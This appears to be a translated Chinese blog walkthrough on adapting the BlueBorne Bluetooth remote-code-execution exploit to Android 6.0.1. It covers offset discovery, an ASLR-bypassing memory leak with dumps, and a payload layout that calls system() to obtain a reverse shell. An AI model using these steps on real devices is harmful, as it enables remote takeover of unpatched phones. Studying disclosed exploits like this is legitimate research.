导语:几天前,Armis公司发布了一个通过蓝牙攻击Android系统的远程代码执行安全漏洞(CVE-2017-0781)的PoC,这个漏洞也叫做BlueBorne。尽管BlueBorne是一组8个漏洞的集合,但是这个PoC只用了其中的2个来实现攻击目的。

几天前,Armis公司发布了一个通过蓝牙攻击Android系统的远程代码执行安全漏洞(CVE-2017-0781)的PoC,这个漏洞也叫做BlueBorne。尽管BlueBorne是一组8个漏洞的集合,但是这个PoC只用了其中的2个来实现攻击目的。

该漏洞利用过程分为两个阶段,首先使用内存泄漏漏洞(CVE-2017-0785)获取到内存地址来绕过ASLR保护,从而调用libc库的system函数,并执行代码,在本文中的情况是获得了一个反向Shell。

Armis 发布的PoC 的原始源代码是用于攻击Pixel和Nexus 5X手机上的Android 7.1.2 系统的,这意味着如果你要在另一个手机的系统中利用漏洞时,只需要在代码中修改libc和蓝牙库的偏移量就行了。

稍后我们将会看到,在6.0.1版本中,分析蓝牙库的代码的变化是非常重要的,这使得漏洞的利用变得复杂化,迫使我们对PoC的代码进行了多处的修改。

要执行以下某些操作,必须在手机上拥有root权限。

相关库下载

第一步是在我们的计算机上用IDA或Radare提取库进行分析。

$ adb pull /system/lib/hw/bluetooth.default.so
$ adb pull /system/lib/libc.so

libc 的 system 函数

我们用Radare 打开libc.so并查找system函数。我们可以看到它是在地址0x3ea04中,我们在变量中引入LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 +1。

$ r2 -A libc.so
> afl~system 0x0003ea04   10 184          sym.system

内存泄漏

内存泄漏使我们能够发现库libc.so和bluetooth.default.so已被加载的地方。

在分析的模型中,所需要的元素与提取的内存不在同一位置,所以我们必须查找库中的值,并根据这个值修改下面的代码。

likely_some_libc_blx_offset = result[X][X]
likely_some_bluetooth_default_global_var_offset = result[X][X]

要执行这个任务,我们需要获得一个内存转储,以及com.android.bluetooth进程的部分映射。同时获取这些数据是很重要的事情,因为这些地址在每次重新启动时都会发生改变。

$ ps | grep blue
bluetooth 2184  212   905552 47760 sys_epoll_ b6ca7894 S com.android.bluetooth$ cat /proc/2184/maps|grep bluetooth.default.so
b376f000-b38b0000 r-xp 00000000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b1000-b38b4000 r--p 00141000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b4000-b38b5000 rw-p 00144000 b3:19 1049       /system/lib/hw/bluetooth.default.so

我们在内存泄漏的地址0xB376f000和0xb38b5000之间搜索一个值,为了方便起见,我使用脚本CVE-2017-0785.py进行操作

$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b3 7.|b3 8."
00000050  00 00 00 00  00 02 00 01  00 00 01 00  b3 85 e3 b7
00000060  00 00 00 00  ae df c5 f0  ac b6 19 10  b3 8b ed 84
...
000000f0  b3 8b ed 78  00 00 00 00  ab 10 2e 10  ab 12 af 50
00000100  ac b6 11 f0  b3 8b ed 78  00 00 00 00  b3 85 e4 7d
00000110  00 00 00 00  b3 85 e3 b7  ac b6 11 f0  b3 85 b9 11
00000120  ac b6 11 f0  b3 8b ed 84  b3 84 8c 8d  b3 97 f5 2c
...
00000180  00 00 00 00  b3 8b 3d 80  ae e1 55 ec  ae e1 56 cc

在我演示的这种情况中,我使用了0xb38b3d80(第180行)这个地址,我们计算了偏移量并更新了变量BLUETOOTH_BSS_SOME_VAR_OFFSET的值,同时不要忘记更新获取该值的结果表中的元素。

为了计算libc的基址,我们遵循上述相同的操作过程。

$ cat /proc/2184/maps|grep libc.so
b6c67000-b6cd9000 r-xp 00000000 b3:19 1118       /system/lib/libc.so
b6cd9000-b6cdd000 r--p 00071000 b3:19 1118       /system/lib/libc.so
b6cdd000-b6ce0000 rw-p 00075000 b3:19 1118       /system/lib/libc.so
$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b6 c."
00000080  00 00 00 00  00 00 00 00  00 00 02 a8  b6 ce 92 e8
000000a0  00 00 00 08  ab 1b 04 c8  b6 cd c5 94  00 00 00 01
000000b0  b3 99 18 20  b6 cb c3 cf  ab 1b 04 c8  ae df c8 68
000000c0  ae ed 10 00  ab 10 2e 10  b6 ce 93 0c  ab 1b 04 c0
...
00000350  b6 cd c5 94  00 00 00 01  ab 10 44 3c  b6 cb c3 cf
00000370  b6 ce 93 0c  ab 1b 04 c0  b6 cd c5 94  ab 1b 04 c8
00000380  ae ea 04 20  b6 cb f2 5b  00 01 00 00  ab 10 2f 00
00000400  00 00 00 01  b6 cb 05 c3  ab 10 44 30  00 00 00 00

使用这些值中的任何一个,我们计算偏移量并将其输入到变量LIBC_SOME_BLX_OFFSET中

从这一刻起,我们可以忽视ASLR。

我们用下面这段代码可以显示脚本中result变量的内存泄漏。

def print_result(result):i = 0for line in result:sys.stdout.write("%02d: " % i)for x in line:sys.stdout.write("%08x " % x)else:sys.stdout.write("n")i += 1

另外,如果我们抽取几个过程的样本,我们可以比较它们,看看哪些值不会发生改变,并把它们作为参考。

$ python3 diff.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14
00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02: 00000000 00000000 00000000 00020001 a___0700 _____061 00000000 b6d__d59 _____481
03: ________ 00000000 00000008 _____541 _____1e3 00007530 00000000 ________ _____534
04: ________ _____534 a______0 _____463 _____481 ________ 00000000 00000000 ________
05: _____783 a______8 ________ _____000 a_______ b6d__274 a______0 b6d__594 a______8
06: ________ b6d__eeb ___0____ 00000008 b3______ _______0 _____f50 00000000 a_______
07: b3______ _______0 _____f50 00000000 _____bad 00000000 _____adf _______0 _____061
08: _______0 _____f58 _____481 _____bd8 00000000 0000000f ________ _____1e3 00007530
09: 00000000 _____bd8 _____534 _____bd8 _____534 _______0 _____463 _____481 _____bd8
10: 00000000 00000000 _____bd8 _____783 _____481 _____bd0 0000____ _______c _____d34
11: _______c _______b _______b 00000002 _____053 _______b 0000000_ 00000000 b4d____0
12: _____090 00000004 _____538 b6d__035 00000000 00000000 00000005 00000348 000005f0
13: b6d__250 ________ 00000005 _______0 _____000 00000008 a______8 b6d__594 00000001
14: 00000000 b6d__03f a______8 _______0 _____000 ________ b6d__274 a______0 b6d__594
15: a______8 _______0 b6d__eeb 00000000 _____c9d ________ 4000____ a______0 00000003
16: 00000000 a______0 a______8 ________ 00000004 _______c 00000006 _______c _____4c1
17: 0000004_ _______4 ________ 00000000 _____4e5 00000006 ________ 00000014 _____827
18: _____f3c _____75f fffff855 _____581 _____618 b______0 _____607 _____f5c 0000000f
19: 0000000f 00000001 00000000 0000000f _______c _______4 ________ 00000000 _____bd7

REMOTE_NAME变量

该变量包含了进行连接的设备的名称,在PoC版本7.1.2中,它用于输入system函数的地址和bash命令。稍后会详细介绍使用这个变量的细节。

我找到这个变量的内存地址所使用的方法是使用GDB与PEDA-ARM和searchmem内存搜索函数。该偏移量被输入到变量BSS_ACL_REMOTE_NAME_OFFSET中。

有效载荷

正如我们在Armis 发布的PoC 的技术细节中看到的那样,如果我们用REMOTE_NAME的地址覆盖R0 ,则btu_hci_msg_process函数会跳转到[ REMOTE_NAME + 8],将REMOTE_NAME的地址留在R0上。

mov r4, r0
...
ldr r1, [r4 + 8]
mov r0, r4
blx r1

因此,在这种情况下,我们在REMOTE_NAME + 8中输入system函数的内存地址。system函数将执行的参数是REMOTE_NAME的内容,因此在其中包含system地址会导致错误。Armis的研究人员使用了以下结构来解决这个问题,其中2个命令是用; 分开的,system函数的地址停留在了位置8。

Payload is: '"x17AAAAAAsysm";n<bash_commands>n#'

在Android 6.0.1版中,由于库中不存在相同的函数,所以不可能以相同的方式执行操作。另一方面,在可利用的功能中,我使用了000f1e36,同样能够控制jump方向和r0的值。

这些是允许我们控制r0和jump方向的指令。

ldr r0, [r0 + 4]
...
ldr r3, [r0 + 8]
ldr r0, [r0]
ldr r2, [r3 + 28]
blx r2

简化一下,我们就有了以下等式,其中x是我们控制的4个字节的值。

jump = [[[x+4]+8]+28]
r0 = [[x+4]]

为了实现我们的攻击目的,我们需要用三个指针来控制跳转,一个用来控制r0。

用作REMOTE_NAME的有效载荷的结构如下:

0                  4      8           12       16              X
+------------------+------+-----------+--------+---------------+
| shellscript_addr | name | name - 16 | system | bash_commands |
+------------------+------+-----------+--------+---------------+Jump address:
1 : [name+4] = name
2 : [name+8] = name-16
3 : [name-16+28] = [name+12] = systemr0:
1 : [name+4] = name
2 : [name] = shellscript_addr

代码执行

一旦代码编写完成,我们就需要进行测试,并观察如何像原来的PoC一样能够成功执行,有必要多次启动它以获得令人满意的Exp。

相关代码

blueborne-nexus5.py

diff.py

Armis BlueBorne Android漏洞利用PoC

鸣谢

borjmz kifo kalrong

本文翻译自:https://jesux.es/exploiting/blueborne-android-6.0.1-english/ ,如若转载,请注明原文地址: http://www.4hou.com/mobile/8496.html

Android BlueBorne (CVE-2017-0781)漏洞分析和利用相关推荐

  1. Android Parcelable反序列化漏洞分析与利用

    文章目录 前言 背景知识 Parcelable序列化 Bundle的数据结构 LaunchAnyWhere CVE-2017-13288 漏洞利用原理解析 POC程序攻击演示 CVE-2017-133 ...

  2. Android“FakeID”签名漏洞分析和利用

    转自CSDN<程序员杂志>         作者:火点,三金 7月30号,新闻又爆出Bluebox安全研究团队发布的安卓新的签名漏洞 "假 ID",除了最新的4.4版本 ...

  3. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  4. php5漏洞汇总,ThinkPHP 5.x RCE 漏洞分析与利用总结

    一.ThinkPHP 5.0.23 rce漏洞复现与总结 漏洞复现 thinkphp 5.0.23 rce thinkphp 5.0.23 rce源码下载: github:https://github ...

  5. Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

    Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 测试环境及工具: windbg IDA winxp sp3 这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一 ...

  6. 网络***实战:老Y文章管理系统V2.2注入漏洞分析与利用

    网络***实战:老Y文章管理系统V2.2注入漏洞分析与利用 安天365团队     同学说让我帮忙架设一个网站,同时要保证整个网站的安全.自己开发,开玩笑,工作量巨大,还是通过网络,在别人的基础上进行 ...

  7. CVE-2014-7911 Android本地提权漏洞分析与利用

    概述 前面我们了解了Android Binder机制的基本原理,当然仅仅了解是不够的,我们要做到:Know it and hack it.这篇文章我们就来分析一个和Binder相关的漏洞:CVE-20 ...

  8. Vivotek 摄像头远程栈溢出漏洞分析及利用

    近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www. ...

  9. Chrome漏洞分析与利用(三)——Issue-1062091漏洞分析

    Chrome Mojo 组件的沙箱逃逸漏洞分析 漏洞环境 漏洞说明 Issue-1062091为chrom中存在的一个UAF漏洞,此漏洞存在于chromium的Mojo框架中,利用此漏洞可以导致chr ...

  10. thinkphp日志泄漏漏洞_ThinkPHP漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和Ta ...

最新文章

  1. R语言效用分析 ( 效能分析、Power analysis)、除了pwr包之外还有其它包、例如、基因研究中的效能分析、MBESS包可用于各种形式的效能分析和最少样本量确定、其他效用分析包的简要介绍
  2. html5 游戏制作软件,制作h5小游戏的免费软件有哪些?
  3. linux 软件集成工具箱,在PB中动态修改SQL语句
  4. 【译】Spring Boot 2.0 官方迁移指南
  5. 计组第六章——计算机的运算方法重点总结
  6. 【Alpha】第一次Daily Scrum Meeting
  7. SAP UI5里sap.m.shell的实现
  8. mapgis转arcgis数据后发现属性表内没有数据
  9. 飘逸的python - 简明gzip模块压缩教程
  10. 5G手机什么牌子的便宜一点
  11. codeforces round div2,3周赛补题计划(从开学到期末)
  12. bzoj 4826: [Hnoi2017]影魔
  13. VBScript 程序员参考手册 读书笔记01-07
  14. 马科维茨投资组合有效集、最优投资组合
  15. 用java代码怎样做pos结算_Java Tile.Pos方法代码示例
  16. Windows常见键盘操作快捷键
  17. 最薄的 4K 雷电 3 显示器 — ThinkVision X1 (2nd Gen) 长测
  18. 模拟键盘鼠标事件有两种方法
  19. “蔚来杯“2022牛客暑期多校训练营8
  20. Word2019输入(码字)或删除操作出现卡顿问题

热门文章

  1. 两经纬度之间的距离计算
  2. poj 3077Rounders(模拟)
  3. 好久没有深入研究技术了,最近这两年太忙但又不知道忙了些什么
  4. [MS]Microsoft SQL Server 2008 R2 开发版/企业版/标准版
  5. ORACLE 11G EXP导出空表方法
  6. k均值算法原理详细讲解以及matlab代码实现
  7. python调用C函数库
  8. Linux 动态库的显示调用
  9. 8K 星!这可能是最适合你的 TensorFlow 教程
  10. 混合模型的推荐算法(ACM暑校-案例学习)